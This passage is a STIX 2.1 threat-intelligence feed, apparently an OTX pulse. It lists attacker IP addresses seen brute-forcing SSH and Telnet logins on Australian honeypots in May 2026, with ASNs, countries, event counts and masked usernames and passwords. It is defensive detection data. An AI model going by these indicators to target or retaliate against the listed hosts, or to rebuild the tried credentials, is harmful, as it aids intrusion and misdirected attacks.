      "id": "indicator--0a98deda-65ad-4ebb-909a-21511b5798b6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T20:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '168.195.252.88']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T20:15:05.000Z",
      "valid_until": "2026-06-20T20:15:03.000Z"
    },
    {
      "created": "2026-05-19T20:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 13. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 61908. Organisation(s): Nova Net Telecomunicacoes Ltda.",
      "id": "indicator--e2eec185-f2c4-403e-b033-a29e6a38e924",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T20:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '179.124.187.105']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T20:15:05.000Z",
      "valid_until": "2026-06-20T20:15:03.000Z"
    },
    {
      "created": "2026-05-19T20:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: VE. ASN(s): 27889. Organisation(s): Telecomunicaciones MOVILNET.",
      "id": "indicator--461d9ea7-c219-45cb-b2ad-b4f5dc362076",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T20:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '181.18.146.70']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T20:15:05.000Z",
      "valid_until": "2026-06-20T20:15:03.000Z"
    },
    {
      "created": "2026-05-19T20:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: AO. ASN(s): 17400. Organisation(s): MSTelcom.",
      "id": "indicator--065c4f09-6bc8-4fdd-bca2-63ed18fd595b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T20:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '196.249.204.50']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T20:15:05.000Z",
      "valid_until": "2026-06-20T20:15:03.000Z"
    },
    {
      "created": "2026-05-19T20:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: VE. ASN(s): 27889. Organisation(s): Telecomunicaciones MOVILNET.",
      "id": "indicator--024e8c4a-8dc9-4ee3-86d7-4864e1d825bf",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T20:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '201.238.33.112']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T20:15:05.000Z",
      "valid_until": "2026-06-20T20:15:03.000Z"
    },
    {
      "created": "2026-05-19T20:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 48. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 9541. Organisation(s): Cyber Internet Services Pvt Ltd..",
      "id": "indicator--38d9118d-5d3b-4dc2-9577-64683dda1ef8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T20:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '203.101.186.242']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T20:15:05.000Z",
      "valid_until": "2026-06-20T20:15:03.000Z"
    },
    {
      "created": "2026-05-19T20:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 22. Sensors involved: Cowrie. Target ports: 23. Source country: KE. ASN(s): 30844. Organisation(s): Liquid Telecommunications Ltd.",
      "id": "indicator--7c75890c-928e-4aed-9df5-db8a76cd838f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T20:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '41.60.251.229']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T20:15:05.000Z",
      "valid_until": "2026-06-20T20:15:03.000Z"
    },
    {
      "created": "2026-05-19T20:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie. Target ports: 23. Source country: IT. ASN(s): 3269. Organisation(s): TIM.",
      "id": "indicator--9f1ef02c-34c1-404e-a08e-1fd84bcd4003",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T20:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '79.63.45.2']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T20:15:05.000Z",
      "valid_until": "2026-06-20T20:15:03.000Z"
    },
    {
      "created": "2026-05-19T20:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 14. Sensors involved: Cowrie. Target ports: 23. Source country: RO. ASN(s): 33977. Organisation(s): Banat Telecom Satelit S.R.L..",
      "id": "indicator--a5c41298-9e0d-488e-851b-f65cbdc277a0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T20:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '86.106.86.7']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T20:15:05.000Z",
      "valid_until": "2026-06-20T20:15:03.000Z"
    },
    {
      "created": "2026-05-19T20:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: RU. ASN(s): 8359. Organisation(s): MTS PJSC.",
      "id": "indicator--585c3a9a-8558-406c-89bf-06dff926fd55",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T20:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '95.153.152.130']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T20:15:05.000Z",
      "valid_until": "2026-06-20T20:15:03.000Z"
    },
    {
      "created": "2026-05-19T20:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BG. ASN(s): 8866. Organisation(s): Vivacom Bulgaria EAD.",
      "id": "indicator--24ea0c11-8a47-4d02-9f37-8ea3b5fe29be",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T20:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '95.42.54.132']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T20:15:05.000Z",
      "valid_until": "2026-06-20T20:15:03.000Z"
    },
    {
      "created": "2026-05-19T21:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 188. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 401696. Organisation(s): cognetcloud INC. Usernames observed (masked): r**t, 3**********4, c****e. Passwords observed (masked): 3***********4, 3**********4, A*******3, a******3, c****e.",
      "id": "indicator--17c55fb8-22d1-4698-88f5-4db77f9286cb",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T21:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '103.106.188.32']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T21:15:11.000Z",
      "valid_until": "2026-06-20T21:15:09.000Z"
    },
    {
      "created": "2026-05-19T21:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 382. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 140481. Organisation(s): PT Tonggak Teknologi Netikom. Usernames observed (masked): r**t, 3**********4, c****e. Passwords observed (masked): 3***********4, 3**********4, 2**9, 9****0, A*******!.",
      "id": "indicator--4e99f932-3de0-4c40-81c2-21413c19bc21",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T21:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '103.154.77.48']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T21:15:11.000Z",
      "valid_until": "2026-06-20T21:15:09.000Z"
    },
    {
      "created": "2026-05-19T21:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 50. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 142647. Organisation(s): Nasstec Airnet Networks Private Limited.",
      "id": "indicator--ff6126d4-0fac-4a1e-877e-6d9412270519",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T21:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '103.186.77.95']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T21:15:11.000Z",
      "valid_until": "2026-06-20T21:15:09.000Z"
    },
    {
      "created": "2026-05-19T21:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 136827. Organisation(s): Universitas PGRI Semarang. Usernames observed (masked): r**t. Passwords observed (masked): 7****8.",
      "id": "indicator--cfed5236-607c-45aa-a07b-e336037d332e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T21:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '103.98.176.164']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T21:15:11.000Z",
      "valid_until": "2026-06-20T21:15:09.000Z"
    },
    {
      "created": "2026-05-19T21:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 24. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--7aa0f5a4-f0fa-4f7a-8156-30ab29932c38",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T21:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '113.221.42.32']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T21:15:11.000Z",
      "valid_until": "2026-06-20T21:15:09.000Z"
    },
    {
      "created": "2026-05-19T21:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 132203. Organisation(s): Tencent Building, Kejizhongyi Avenue. Usernames observed (masked): r**t. Passwords observed (masked): 1*******z.",
      "id": "indicator--417eb497-860f-4fbb-a335-b8d4be9c5a47",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T21:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '150.109.20.59']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T21:15:11.000Z",
      "valid_until": "2026-06-20T21:15:09.000Z"
    },
    {
      "created": "2026-05-19T21:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 22. Source country: HK. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED.",
      "id": "indicator--02148d2c-649e-40f8-b9e1-600aaecd9f3c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T21:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '152.32.188.76']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T21:15:11.000Z",
      "valid_until": "2026-06-20T21:15:09.000Z"
    },
    {
      "created": "2026-05-19T21:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 224. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: PH. ASN(s): 142002. Organisation(s): Scloud Pte Ltd. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, 1*****t, 1**************v, 2**4.",
      "id": "indicator--a824bc7f-a9f9-421b-8a43-455e7207512f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T21:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '165.154.233.2']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T21:15:11.000Z",
      "valid_until": "2026-06-20T21:15:09.000Z"
    },
    {
      "created": "2026-05-19T21:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 132203. Organisation(s): Tencent Building, Kejizhongyi Avenue. Usernames observed (masked): r**t. Passwords observed (masked): 1*******z.",
      "id": "indicator--63f6e6d2-35d1-431e-8a54-e6a566b5055f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T21:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '170.106.101.241']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T21:15:11.000Z",
      "valid_until": "2026-06-20T21:15:09.000Z"
    },
    {
      "created": "2026-05-19T21:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 8075. Organisation(s): Microsoft Corporation. Usernames observed (masked): r**t. Passwords observed (masked): p********!.",
      "id": "indicator--2d5b8325-2dc2-43e6-a234-46a771daa7cf",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T21:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '172.191.239.155']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T21:15:11.000Z",
      "valid_until": "2026-06-20T21:15:09.000Z"
    },
    {
      "created": "2026-05-19T21:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: SA. ASN(s): 25019. Organisation(s): Saudi Telecom Company JSC.",
      "id": "indicator--b7befa5a-b051-48c0-9099-33d6758d1dd4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T21:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '176.44.31.60']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T21:15:11.000Z",
      "valid_until": "2026-06-20T21:15:09.000Z"
    },
    {
      "created": "2026-05-19T21:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: VE. ASN(s): 27889. Organisation(s): Telecomunicaciones MOVILNET.",
      "id": "indicator--77e91a12-1598-4bd0-a49b-d7a8617b44ad",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T21:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '181.18.169.125']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T21:15:11.000Z",
      "valid_until": "2026-06-20T21:15:09.000Z"
    },
    {
      "created": "2026-05-19T21:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: UY. ASN(s): 6057. Organisation(s): Administracion Nacional de Telecomunicaciones.",
      "id": "indicator--c4bb05ac-919c-4510-95da-76345808e125",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T21:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '186.50.209.248']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T21:15:11.000Z",
      "valid_until": "2026-06-20T21:15:09.000Z"
    },
    {
      "created": "2026-05-19T21:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 22085. Organisation(s): Claro SA.",
      "id": "indicator--798ab2ff-a414-4a8f-a3f4-aa7ab722226a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T21:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '187.27.232.137']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T21:15:11.000Z",
      "valid_until": "2026-06-20T21:15:09.000Z"
    },
    {
      "created": "2026-05-19T21:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 118. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 398101. Organisation(s): GoDaddy.com, LLC. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): !********1, !**********3, 3***********4, 3**********4, f*********3.",
      "id": "indicator--1f3af1a2-d724-4aa0-a3c6-6c6fb1668715",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T21:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '192.169.243.246']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T21:15:11.000Z",
      "valid_until": "2026-06-20T21:15:09.000Z"
    },
    {
      "created": "2026-05-19T21:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 7. Sensors involved: Cowrie, Fatt. Target ports: 22, 443. Source country: NL. ASN(s): 215125. Organisation(s): Church of Cyberology.",
      "id": "indicator--81f963c2-5075-4433-88e9-356671cba817",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T21:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '192.42.116.51']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T21:15:11.000Z",
      "valid_until": "2026-06-20T21:15:09.000Z"
    },
    {
      "created": "2026-05-19T21:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: VE. ASN(s): 27889. Organisation(s): Telecomunicaciones MOVILNET.",
      "id": "indicator--6b7a7d99-c4a9-46aa-9086-2eeab3aa18d1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T21:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '201.238.35.9']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T21:15:11.000Z",
      "valid_until": "2026-06-20T21:15:09.000Z"
    },
    {
      "created": "2026-05-19T21:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 236. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: KR. ASN(s): 4766. Organisation(s): Korea Telecom. Usernames observed (masked): r**t, 3**********4, c****e. Passwords observed (masked): 3***********4, 3**********4, 2**9, 9****0, A*******3.",
      "id": "indicator--b15f81bc-3a0f-4710-b172-70c06284a007",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T21:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '211.253.9.49']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T21:15:11.000Z",
      "valid_until": "2026-06-20T21:15:09.000Z"
    },
    {
      "created": "2026-05-19T21:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: RU. ASN(s): 12389. Organisation(s): Rostelecom.",
      "id": "indicator--7800ad97-3c13-44de-997c-4cae68a55fd1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T21:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '37.79.219.16']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T21:15:11.000Z",
      "valid_until": "2026-06-20T21:15:09.000Z"
    },
    {
      "created": "2026-05-19T21:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 112. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 132203. Organisation(s): Tencent Building, Kejizhongyi Avenue. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, f*********3, n****w, o***e.",
      "id": "indicator--4690c29f-fd7f-437f-9aeb-0323e5f6b8f5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T21:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '43.134.100.175']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T21:15:11.000Z",
      "valid_until": "2026-06-20T21:15:09.000Z"
    },
    {
      "created": "2026-05-19T21:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 132203. Organisation(s): Tencent Building, Kejizhongyi Avenue. Usernames observed (masked): r**t. Passwords observed (masked): h*****3.",
      "id": "indicator--4c2967fa-703b-4c26-a7de-122d9fb986d3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T21:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '43.134.13.135']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T21:15:11.000Z",
      "valid_until": "2026-06-20T21:15:09.000Z"
    },
    {
      "created": "2026-05-19T21:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 132203. Organisation(s): Tencent Building, Kejizhongyi Avenue. Usernames observed (masked): r**t. Passwords observed (masked): s***3.",
      "id": "indicator--7dc1b3e1-f269-46ae-b6da-3c2714379d6e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T21:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '43.134.37.25']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T21:15:11.000Z",
      "valid_until": "2026-06-20T21:15:09.000Z"
    },
    {
      "created": "2026-05-19T21:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 242. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 132203. Organisation(s): Tencent Building, Kejizhongyi Avenue. Usernames observed (masked): r**t, 3**********4, c****e. Passwords observed (masked): 3***********4, 3**********4, 1*****t, 1**************v, 2**4.",
      "id": "indicator--5a3f2bc7-c1d7-4048-910f-7238ffcc996b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T21:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '43.163.92.224']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T21:15:11.000Z",
      "valid_until": "2026-06-20T21:15:09.000Z"
    },
    {
      "created": "2026-05-19T21:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 22. Source country: DE. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--15689277-b09a-492d-addc-614ca0972dd2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T21:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '46.101.226.179']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T21:15:11.000Z",
      "valid_until": "2026-06-20T21:15:09.000Z"
    },
    {
      "created": "2026-05-19T21:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 312. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: JP. ASN(s): 29802. Organisation(s): HIVELOCITY, Inc.. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, 2**9, 9****0, A*******!.",
      "id": "indicator--d4b843a3-ed58-4db2-8c55-4d3b7867e17b",
      "labels": [
        "bruteforce"
      ],
